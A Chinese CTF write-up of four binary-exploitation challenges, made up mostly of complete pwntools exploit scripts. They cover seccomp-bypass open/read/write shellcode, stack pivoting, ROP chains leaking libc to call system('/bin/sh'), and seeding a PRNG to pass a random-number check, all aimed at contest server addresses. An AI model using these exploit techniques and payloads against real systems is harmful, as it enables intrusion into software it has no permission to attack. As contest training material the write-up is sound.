0x00 前言
大二最后一次认真打的比赛,还是倒在堆题手下
0x01 题解
三步走战略
checksec:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
|
ida看一眼
有沙箱,顺手查了
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012 0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011 0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011 0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011 0008: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0011 0009: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0011 0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x06 0x00 0x00 0x00000000 return KILL
|
明显要打ORW。再看看主函数
没有什么限制,orw+ret2shellcode即可
from pwn import * from ctypes import * from struct import pack
context.arch='amd64' context.os = 'linux' context.log_level = 'debug'
choice = 0x001 if choice: port= 32178 hn = '27.25.151.198' p = remote(hn,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear') def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,cmd)
s('\n') shellcode = shellcraft.open('/flag') shellcode += shellcraft.read(3,0x1337500,0x100) shellcode += shellcraft.write(1,0x1337500,0x100) sla('Please speak:',asm(shellcode))
payload =b'a'*0x48+p64(0x1337000) sla('Do you have anything else to say?',payload)
itr()
|
Stack Pivoting
Checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) SHSTK: Enabled IBT: Enabled Stripped: No
|
ida看看:
溢出0x10字节,而且有原题
参考一下他的exp,总体来说就是三次栈迁移,分别泄露libc和打ret2libc
from pwn import * from ctypes import * from struct import pack
context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/pwn/pwn1' elf=ELF(file) libc = ELF('/mnt/c/Users/Z2023/Desktop/pwn/libc.so.6')
choice = 0x001 if choice: port= 48534 polar='1.95.36.136' nss='node5.anna.nssctf.cn' buu='node5.buuoj.cn' hn = '27.25.151.198' p = remote(hn,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear') def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,cmd)
bss = 0x0000000000404040+0x700 pop_rdi = 0x0000000000401263 pop_rbp = 0x000000000040115d leave_ret = 0x00000000004011ce
read = 0x00000000004011B7
payload=b'a'*(0x40)+p64(bss+0x40)+p64(read) debug() sa('can you did ?\n',payload) pause() payload1 = p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(bss+0x300+0x40)+p64(read) payload1 = payload1.ljust(0x40,b'a') payload1 += p64(bss-8)+p64(leave_ret)
s(payload1)
read_addr = uru64() leak('read_addr') libc_base = read_addr - libc.sym['puts'] leak('libc_base') system,binsh=get_sb() payload2 =(b'a'*8+p64(pop_rdi)+p64(binsh)+p64(pop_rdi+1)+p64(system)).ljust(0x40,b'\x00')
payload2+=p64(bss+0x300)+p64(leave_ret) pause() s(payload2)
itr()
|
pdd助力
checksec:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
|
ida看看:
过两关有溢出点
注意一下随机数的种子,过两关之后ret2libc即可,以及最后的栈平衡
from pwn import * from ctypes import * from struct import pack
context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/pwn2/pwn2' elf=ELF(file) libc = ELF('/mnt/c/Users/Z2023/Desktop/pwn2/libc.so.6') libc1=cdll.LoadLibrary('/mnt/c/Users/Z2023/Desktop/pwn2/libc.so.6')
choice = 0x001 if choice: port= 37326 hn = '27.25.151.198' p = remote(hn,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear') def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,cmd)
libc1.srand(libc1.time(0)) v5 = libc1.rand() print(hex(v5)) print(v5) libc1.srand(v5 % 5 - 44174237)
for i in range(55): sla('good!\n',str(libc1.rand() % 4 + 1 ))
libc1.srand(8) for i in range(55): sla('good!\n',str(libc1.rand() % 4 + 8 ))
pop_rdi=0x0000000000401483 func = 0x000000000040121F ret=0x000000000040101a payload = b'a'*(0x30+8)+flat(pop_rdi,elf.got['puts'],elf.plt['puts'],func) sla('Congratulations young man.\n',payload)
puts_addr=uru64() leak('puts_addr') libc_base=puts_addr-libc.sym['puts'] leak('libc_base') system,binsh=get_sb()
payload = b'a'*(0x30+8)+flat(ret,pop_rdi,binsh,system,func) sla('Congratulations young man.\n',payload)
itr()
|
shellcode
Checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
|
ida看看:
有沙箱
0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009 0005: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0009 0006: 0x15 0x02 0x00 0x00000028 if (A == sendfile) goto 0009 0007: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0009 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0009: 0x06 0x00 0x00 0x00000000 return KILL
|
ban了write,execve,sendfile。但是OR没有限制,找个别的代替W即可,这里参考https://blog.csdn.net/qq_54218833/article/details/134205383
用writev, 因为readv也没ban,所以直接照搬了文章中的shellcode
from pwn import * from ctypes import * from struct import pack
context.arch='amd64' context.os = 'linux' context.log_level = 'debug'
choice = 0x001 if choice: port= 47288 hn = '27.25.151.198' p = remote(hn,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear') def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,cmd)
debug() shellcode=''' mov rax, 0x67616c662f2e push rax mov rdi, rsp xor edx, edx xor esi, esi push SYS_open pop rax syscall push 3 pop rdi push 0x1 /* iov size */ pop rdx push 0x100 lea rbx, [rsp-8] push rbx mov rsi, rsp push SYS_readv pop rax syscall push 1 pop rdi push 0x1 /* iov size */ pop rdx push 0x100 lea rbx, [rsp+8] push rbx mov rsi, rsp push SYS_writev pop rax syscall ''' sla('Enter your command: ',asm(shellcode))
itr()
|